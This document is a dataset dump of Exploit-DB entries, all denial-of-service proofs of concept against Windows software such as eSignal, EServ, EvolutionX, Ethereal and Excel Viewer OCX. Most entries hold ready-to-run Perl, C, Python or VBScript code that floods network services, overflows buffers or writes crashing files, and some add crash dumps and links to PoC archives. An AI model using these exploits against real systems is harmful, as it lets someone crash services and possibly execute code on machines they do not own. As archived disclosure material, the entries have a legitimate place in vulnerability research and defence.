deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17837
Description: eSignal and eSignal Pro 10.6.2425.1208 - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2011-09-14
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  eSignal and eSignal Pro
              http://www.esignal.com/esignal/default.aspx
Versions:     <= 10.6.2425.1208
Platforms:    Windows
Bugs:         A] code execution
              B] heap overflow
Exploitation: file
Date:         06 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"eSignal is an all-in-one trading platform that includes the data,
tools and functionality serious individual traders and professionals
need to keep them at the top of their game."


#######################################################################

=======
2) Bugs
=======

-----------------
A] code execution
-----------------

The software is unable to handle the "<StyleTemplate>" files (even
those original included in the program) like those with the registered
extensions QUO, SUM and POR:

  eax=00000001 ebx=00000000 ecx=61616161 edx=02830000 esi=0012f020 edi=03ed97f0
  eip=61616161 esp=0012efb8 ebp=0012f088 iopl=0         nv up ei pl nz ac po nc
  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
  61616161 ??              ???


----------------
B] heap overflow
----------------

Heap overflow during the handling of the Font->FaceName field of the
various files that use it like ETS, ETQ, ESK and so on:

  eax=04255aa8 ebx=0012f004 ecx=04255ab4 edx=61616160 esi=0012f004 edi=61616161
  eip=781f3a31 esp=0012ef94 ebp=0012efa4 iopl=0         nv up ei pl nz na pe nc
  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
  MFC80+0x23a31:
  781f3a31 8b07            mov     eax,dword ptr [edi]  ds:0023:61616161=????????
  781f3a33 8bcf            mov     ecx,edi
  781f3a35 ff500c          call    dword ptr [eax+0Ch]
or
  eax=04012d40 ebx=00000000 ecx=04012d40 edx=61616161 esi=040129b0 edi=0012cfd4
  eip=7822c445 esp=0012ce58 ebp=0012ce6c iopl=0         nv up ei pl nz na po nc
  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
  MFC80+0x5c445:
  7822c445 ff[PII_REDACTED]    call    dword ptr [edx+170h] ds:0023:616162d1=????????


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/esignal_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17837.zip


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #2716
Description: Essentia Web Server 2.15 - GET Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-11-04
Author: CorryL

Exploit:
#!/usr/bin/perl


use IO::Socket;

use Getopt::Std; getopts('h:', \%args);



if (defined($args{'h'})) { $host = $args{'h'}; }

print STDERR "\n-=[ Essentia Web Server 2.15 Remote DOS Exploit]=-\n";

print STDERR "-=[ Discovered By CorryL          corryl80@gmail.com ]=-\n";

print STDERR "-=[ Coded by CorryL     info:www.x0n3-h4ck.org ]=-\n\n";

if (!defined($host)) {

print "usage: perl " . $0 . " -h HOST\n";

exit();
}

$dos = "A"x6800;

print "[+] Connect to $host\n";

$socket = new IO::Socket::INET (PeerAddr => "$host",

                               PeerPort => 80,

                               Proto => 'tcp');

                               die unless $socket;

print "[+] Sending DOS byte\n";

         $data = "GET /$dos \r\n\r\n";

# milw0rm.com [2006-11-04]
Exploit-DB #17497
Description: ESTsoft ALPlayer 2.0 - ASX Playlist File Handling Buffer Overflow
Type: dos
Platform: windows
Date: 2011-07-06
Author: LiquidWorm

Exploit:
ESTsoft ALPlayer 2.0 ASX Playlist File Handling Buffer Overflow Vulnerability


Vendor: ESTsoft Corp.
Product web page: http://www.altools.com
Affected version: 2.0.0.4

Summary: ALPlayer (former ALShow) is an easy-to-use media player that
comes equipped with plenty of codecs, and it's prepared to download more
if needed.

Desc: The vulnerability is caused due to a boundary error in the processing
of a playlist file , which can be exploited to cause a stack-based buffer
overflow when a user opens e.g. a specially crafted .asx file. Successful
exploitation may allow execution of arbitrary code.

-------------------------------------------------------------------------

(188.820): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0095c8e0 ebx=0012e560 ecx=00004141 edx=00ce4fc0 esi=026d1902 edi=0012e5ac
eip=7855c776 esp=0012e458 ebp=0012e468 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
MSVCR90!_isspace_l+0x3b:
7855c776 0fb70448        movzx   eax,word ptr [eax+ecx*2] ds:0023:00964b62=????

-------------------------------------------------------------------------


Tested on: Microsoft Windows XP Professional SP3 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2011-5023
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5023.php


06.07.2011

PoC:
 - http://www.zeroscience.mk/codes/alplayer_bof.rar
 - https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17497.rar (alplayer_bof.rar)
Exploit-DB #874
Description: Ethereal 0.10.9 (Windows) - '3G-A11' Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2005-03-12
Author: Leon Juranic

Exploit:
/*
 * 
 * Ethereal IAPP remote buffer overflow #2 PoC exploit 
 * ---------------------------------------------------
 * To test this vulnerability on windows, try to send 3-10 packets 
 * that will trigger the crash, and scroll between captured packets
 * in Ethereal.
 * 
 * Coded by Leon Juranic <ljuranic@lss.hr> 
 * LSS Security <http://security.lss.hr/en/>
 * 
 */ 

#include <stdio.h>
#include <windows.h>

#pragma comment (lib,"ws2_32")

#define IAPP_PDU_SSID 0

typedef struct _e_iapphdr {
        unsigned char ia_version;
        unsigned char ia_type;
} e_iapphdr;


typedef struct _e_pduhdr {
	unsigned char pdu_type;
	unsigned char pdu_len_h;
	unsigned char pdu_len_l;
} e_pduhdr;


void xp_sendpacket (char *pack)
{
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	int sock,i;
	struct sockaddr_in sin;
	unsigned char buf[2000];
	char bla[2000];
	e_iapphdr *iapp;
	e_pduhdr *pdu;

	wVersionRequested = MAKEWORD( 2, 2 );
	err = WSAStartup( wVersionRequested, &wsaData );
	if ( err != 0 ) {
		printf ("error!!!\n");
		ExitProcess(-1);
	}

	sock=socket(AF_INET,SOCK_DGRAM,0);

	sin.sin_family=AF_INET;
	sin.sin_addr.s_addr = inet_addr(pack);
	sin.sin_port = htons(2313);

	iapp = (e_iapphdr*)&buf;
	iapp->ia_version = 1;
	iapp->ia_type = 1;
	
	pdu  = (e_pduhdr*)(buf+2);
	pdu->pdu_type = 3; 
	pdu->pdu_len_h = 0x05;    
	pdu->pdu_len_l = 0xa1;
	
	memset (bla,'\xfc',1300); 
	strncpy ((char*)&buf+sizeof(e_iapphdr)+sizeof(e_pduhdr),bla,2000);
	
//	for (i=0;i<1000;i++)
	sendto (sock,(char*)buf,1489,0,(struct sockaddr*)&sin,sizeof(struct sockaddr));

}


main (int argc, char **argv)
{
	
	xp_sendpacket(argv[1]);
}

// milw0rm.com [2005-03-12]
Exploit-DB #22124
Description: EType EServ 1.9x - NNTP Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-01-04
Author: D4rkGr3y

Exploit:
source: https://www.securityfocus.com/bid/6522/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via NNTP, the software becomes unstable.

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
}
Exploit-DB #22585
Description: EType EServ 2.98/2.99/3.0 - Resource Exhaustion (Denial of Service) (1)
Type: dos
Platform: windows
Date: 2003-05-11
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/7552/info

A denial of service vulnerability has been reported for EServ. The vulnerability exists due to the way the server handles connections. Specifically, memory allocated for open connections are not properly freed when a connection no longer exists. This will result in a consumption of all available memory resources.

**It has been reported that EServ version 3.0 previously thought to be invulnerable to this issue is affected by this vulnerability. This version was tested on Windows 2000.

This vulnerability affects EServ 2.92 to 3.0. 

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
}
Exploit-DB #22586
Description: EType EServ 2.98/2.99/3.0 - Resource Exhaustion (Denial of Service) (2)
Type: dos
Platform: windows
Date: 2003-05-11
Author: rash

Exploit:
// source: https://www.securityfocus.com/bid/7552/info
 
A denial of service vulnerability has been reported for EServ. The vulnerability exists due to the way the server handles connections. Specifically, memory allocated for open connections are not properly freed when a connection no longer exists. This will result in a consumption of all available memory resources.
 
**It has been reported that EServ version 3.0 previously thought to be invulnerable to this issue is affected by this vulnerability. This version was tested on Windows 2000.
 
This vulnerability affects EServ 2.92 to 3.0. 

/* m00-eServ-fun.c
 *
 *  EServ/2.95-3.00 remote memory-leak exploit
 *
 *  Result: exiting program and close all services
 *  if you seen message: Broken pipe
 *  then may going drink beer 8)
 *
 *  Eserv 3.0 only web(80) services susceptible on this DoS
 *
 *  rash / m00.void.ru
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc, char *argv[])
{  
  char buf[2000];
  int fd;
  struct sockaddr_in rsin;

  if (argc!=3) {
   printf("\n usage: %s <ip> <port>\n\n", argv[0]);
   exit(0);  
  }
  
  rsin.sin_family = AF_INET;
  rsin.sin_port   = htons(atoi(argv[2]));
  rsin.sin_addr.s_addr = inet_addr(argv[1]);
 
  for (fd=0;fd<2000;fd++)
    buf[fd]=(int *)((rand()*10));
  
  fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);             
  if (connect(fd,(struct sockaddr *)&rsin,sizeof(struct sockaddr))) perror("[-] connect()"),exit(0);
  printf("[+] connected..\n"); 
  printf("[+] send data to host..\n"); 
  
  while (1) {
   if ((send(fd, buf, 2000, 0))<0)      
     break;  
  }   
}
Exploit-DB #22121
Description: EType EServ 2.9x - FTP Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-01-04
Author: D4rkGr3y

Exploit:
source: https://www.securityfocus.com/bid/6519/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via FTP, the software becomes unstable. 

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
}
Exploit-DB #22122
Description: EType EServ 2.9x - POP3 Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-01-04
Author: D4rkGr3y

Exploit:
source: https://www.securityfocus.com/bid/6520/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via POP3, the software becomes unstable.

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
}
Exploit-DB #22123
Description: EType EServ 2.9x - SMTP Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-01-04
Author: D4rkGr3y

Exploit:
source: https://www.securityfocus.com/bid/6521/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via SMTP, the software becomes unstable. 

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
}
Exploit-DB #48259
Description: Everest 5.50.2100 - 'Open File' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-03-27
Author: Ivan Marmolejo

Exploit:
# Exploit Title: Everest 5.50.2100 - 'Open File' Denial of Service (PoC)
# Discovery by: Ivan Marmolejo
# Discovery Date: 2020-03-24
# Software Link : http://www.lavalys.com/
# Tested Version: 5.50.2100
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Home Single Language

# Steps to produce the crash:
#1.- Run python code: Everest.py
#2.- Open Everest.txt and copy content to clipboard
#3.- Open "Everest Ultimate Edition"
#4.- Select "Informe" > "Asistente de Informes" > "Next" > Select "Abrir Archivo"
#5.- In "Abrir Archivo" field paste Clipboard
#6.- Select "Next"
#7.- Crashed

buffer = "\x41" * 450
f = open ("Everest.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #23681
Description: EvolutionX - Multiple Remote Buffer Overflow Vulnerabilities
Type: dos
Platform: windows
Date: 2004-02-10
Author: Moth7

Exploit:
source: https://www.securityfocus.com/bid/9631/info

The FTP server that is distributed with EvolutionX has been reported prone to multiple buffer overflow vulnerabilities. The first of these vulnerabilities exists post-authentication, and is due to a lack of sufficient bounds checking performed on arguments that are passed to the 'cd' command.

The second issue exists pre-authentication, excessive data passed as username:password combination to the affected FTP server will trigger the buffer overrun. 

Finally the telnet server that is distributed with EvolutionX has been reported prone to a buffer overflow vulnerability when handling excessive data passed as an argument to the 'dir' command. 

An attacker may exploit any one of these issues to deny service to legitimate users of the XBOX appliance, it has been conjectured that these issues may be exploitable to result in arbitrary code execution.

#!/usr/bin/perl
#
# EvolutionX buffer overflow by Moth7
# http://www.bit-labs.net
#
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => "ftp(21)",
);
unless ($remote) { die "cannot connect to ftp daemon on $host" }

$remote->autoflush(1);

print $remote "USER anonymous\r\n";
sleep(1);

$buf = '\m/'x999;

print $remote "PASS ".$buf."\r\n";      # Try and overrun the PASS buffer
sleep(1);

print $remote"cd ".$buf."\r\n";         # If it fails then overrun the cd buffer instead -
sleep(1);                               # but 2997 characters should do it :p

close $remote;
Exploit-DB #20282
Description: Evolvable Shambala Server 4.5 - Denial of Service
Type: dos
Platform: windows
Date: 2000-10-09
Author: zillion

Exploit:
source: https://www.securityfocus.com/bid/1778/info

Shambala Server is a FTP, Web, and Chat server targeted for the Small Office/Home Office user. 

The FTP server component does not properly handle certain incoming connection and disconnection requests. Successful exploitation could lead to disabling the Shambala Server service and restarting is required in order to regain normal functionality.

#!/usr/bin/perl
#
# This tool (tool not exploit!) crashes shambale server 4.5
# This is a stripped version of Guido Bakkers exploit code (bedankt)
#
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
&usage if !defined($args{s});
$serv = $args{s};
$EOL="\015\012";
$remote = IO::Socket::INET->new(
                   Proto       => "tcp",
                   PeerAddr    => $args{s},
                   PeerPort    => "ftp(21)",
               ) || die("Unable to connect to ftp port at $args{s}\n");
$remote->autoflush(1);
print "Done...\n";
exit; # remove this and the server will *NOT* crash
sub usage {die("\n$0 -s ipaddress\n\n");}
Exploit-DB #8601
Description: EW-MusicPlayer 0.8 - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-05-04
Author: SirGod

Exploit:
#####################################################################################################
#                    EW-MusicPlayer0.8 (.M3U File) Local Buffer Overflow PoC
#                 Discovered by SirGod  -  www.mortal-team.net & www.h4cky0u.org
#         Download : http://www.brothersoft.com/ew-musicplayer-download-97163.html
######################################################################################################
my $chars= "A" x 1337;
my $file="sirgod.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file was created";
print "SirGod - www.mortal-team.net & www.h4cky0u.org";

# milw0rm.com [2009-05-04]
Exploit-DB #17643
Description: Excel - SLYK Format Parsing Buffer Overrun (PoC)
Type: dos
Platform: windows
Date: 2011-08-09
Author: webDEViL

Exploit:
# Exploit Title: Excel SLYK Format Parsing Buffer Overrun Vulnerability PoC
# Date: [date]
# Author: webDEViL
# Software Link: [download link if available]
# Version: [app version]
# Tested on: ALL
# CVE : CVE-2011-1276

# w3bd3vil[at]gmail[dot]com
# twitter.com/w3bd3vil

open (FILE, '>>CVE-2011-1276.slk');
print FILE "ID;P\n";
print FILE "P;PAAAA\n"x550;
print FILE "P";
close (FILE);
Exploit-DB #3830
Description: Excel Viewer OCX 3.1.0.6 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2007-05-02
Author: shinnai

Exploit:
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/02</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>ExcelViewer.ocx v. 3.1.0.6 multiple methods Denial of Service</b>
 url: http://www.officeocx.com/
 sell: from â‚¬63.95 (update to last version) to â‚¬1,585.95 (Royalty)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
 Theese methods are vulnerable too:

 <b>DoOleCommand</b>
 <b>FTPDownloadFile</b>
 <b>FTPUploadFile</b>
 <b>HttpUploadFile</b>
 <b>Save</b>
 <b>SaveWebFile</b>
-----------------------------------------------------------------------------

<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B965' id='ExcelOCX' width="405" height="50"></object>

<select style="width: 404px" name="Pucca">
  <option value = "HttpDownloadFile">HttpDownloadFile</option>
  <option value = "Open">Open</option>
  <option value = "OpenWebFile">OpenWebFile</option>
  <option value = "Quoting">Quoting...</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "HttpDownloadFile" then
     argCount = 2
     arg1=String(2097512,"A")
     arg2="defaultV"
     ExcelOCX.HttpDownloadFile arg1, arg2
   elseif Pucca.value = "Open" then
     argCount = 1
     arg1=String(2097512, "A")
     ExcelOCX.Open arg1
   elseif Pucca.value = "OpenWebFile" then
     argCount = 1
     arg1=String(2097512, "A")
     ExcelOCX.OpenWebFile arg1
   else
     MyMsg = MsgBox ("...They'll learn much more than I'll ever know" & vbCrLf &_
     "And I think to myself, what a wonderful world...",64 ,"2007/05/02 - ExcelViewer v. 3.1")
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-02]